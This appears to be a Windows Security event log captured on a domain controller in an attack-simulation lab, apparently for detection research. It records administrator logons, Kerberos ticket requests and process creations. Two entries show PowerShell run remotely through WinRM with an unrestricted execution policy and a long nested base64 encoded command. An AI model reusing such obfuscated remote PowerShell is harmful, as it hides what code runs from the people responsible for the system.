The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252572
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16A501

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252694
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E86F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252693
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E86F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252692
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252691
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252690
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1328
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1054
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252688
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252687
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E687

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252686
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E687
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252685
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252684
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252683
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252682
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E66B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252681
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E66B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252680
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E66B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252679
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

